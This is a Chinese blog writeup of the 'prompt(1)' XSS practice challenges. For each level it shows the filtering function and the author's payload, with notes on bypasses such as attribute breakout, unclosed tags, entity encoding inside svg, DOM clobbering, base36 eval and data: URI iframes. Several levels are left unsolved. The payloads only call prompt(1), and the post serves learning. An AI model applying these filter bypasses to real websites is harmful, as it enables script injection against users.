HeartSky's blog


在渗透之路上渐行渐远


prompt(1) writeup

这个系列题目是关于XSS的,借此机会复习一下《XSS攻击剖析与防御》这本书上的知识


Level 0


题目

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

答案

1
" onfocus=javascript:prompt(1) autofocus>

闭合属性后,采用onfocus事件JavaScript伪协议的方法,最后加上autofocus让它自动弹窗

或者

1
"><svg onload=prompt(1)>

当然,因为这题没做任何过滤,所以有很多种方法可以弹窗

Level 1


题目

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

答案

1
<svg onload=prompt(1)//

过滤了<任意字符>,可对<进行HTML编码,但一直没有成功闭合article标签,不知道为什么。看了下大神的,其实只要不出现>就可以绕过,这里注意后面要加//才能通过,这样直接把article闭合标签注释掉了

想了下,这样也可以

1
<img src=1 onerror=prompt(1)//

所以在html中,标签不闭合其实也能生效

Level 2


题目

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

答案

1
<svg><script>prompt&#40;1)</script>

过滤了=,这时肯定要考虑编码了,因为HTML标签中属性名和属性值之间的=编码后不能被自动解码(HTML实体编码出现在属性值中可以被自动解码),所以这里不能出现=,用script标签,并包含在svg向量里面,这样会先进行xml解析,使得$#40;变成(

Level 3


题目

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

答案

1
--!><script>prompt(1)</script>

过滤了->,这里有个小姿势,在HTML5中不仅可以用-->来闭合注释,还可以用--!>

Level 4


题目

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

答案

不会 = =

Level 5


题目

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

答案

1
2
" type="image" src=1 onerror
="prompt(1)

过滤了>focusonxxx=,因为input标签中只有第一个type会生效,所以尽管过滤了onfocus,仍可以把type改成image来使用我们熟悉的onerror

Level 6


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

答案

1
javascript:prompt(1)#{"action":1}

在表单的action属性中过滤了javascript:data:,但问题在于这个过滤检测的是documents.forms[0].action,如果这个表单中有一个叫做action的input标签,那么检测的就是这个标签元素
这题自己没想出来,还是对DOM不太熟悉

Level 7


题目

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

答案

1
"><script>/*#*/prompt(1/*#*/)</script>

利用JS注释/**/来组合成一串

Level 8


题目

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

答案

真不会

Level 9


题目

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

替换掉了<字母,并把输入转为大写
这题学长说可以跳过,作者给的答案也有问题

Level A


题目

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

答案

1
prom'pt(1)

巧妙地利用了题目

Level B


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

答案

1
" (prompt(1)) in "

可以看出没过滤双引号,所以可以先把双引号闭合,后面可以用in操作符,虽然会提示语法错误,但prompt(1)依旧可以执行,至于外面加圆括号是因为前面有字符串

Level C


题目

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

答案

1
eval((1558153217).toString(36))(1)

与Level A不同的是先过滤单引号,再替换prompt,所以不能再用上面的办法了,考虑通过eval执行字符串,而\,均被编码,只能先把prompt转换为36进制(不必是36,只要要转换的字符串能用此进制表示就行)的数字(比如这题中的1558153217),再转回原来的字符串,这样就绕过了特殊字符

Level D


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

答案

1
2


Level E


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

答案

1
"><iframe/src="a:text/html;base64,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=

把一些特殊字符和空格替换成了_,只能不出现它们;//任意字符:被替换成data:,这里可以联想到data:协议。img标签不支持data:协议(也不支持javascript:伪协议),改用iframe标签
但试的时候一直不行,不知道为什么
= = 发现了,是输入会转为大写的缘故,导致base64字符串不能正确解码,那问题来了,怎么找到一个base64编码后全是大写的答案?

Level F


题目

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

答案

1
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

Level 7的优化版,把*过滤了,那就把/**/换成<!---->

Level -1


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function escape(input) {
// WORLD -1

// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');

return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}

答案

1
2


做完Level F时看后面还有点了一下,结果网页中只有一个表情,没有题目,再往后点也是这样,猜测有隐藏题目,觉得是-1,试了下果然是 233 但是没啥用 不会做

总结

整套题目做下来,感觉挺有意思的,考验更多的是一些奇淫技巧,你知道了就能做,不知道就做不出来,当然,一些基础要巩固,比如JSON之类的,明天学下相关的基础吧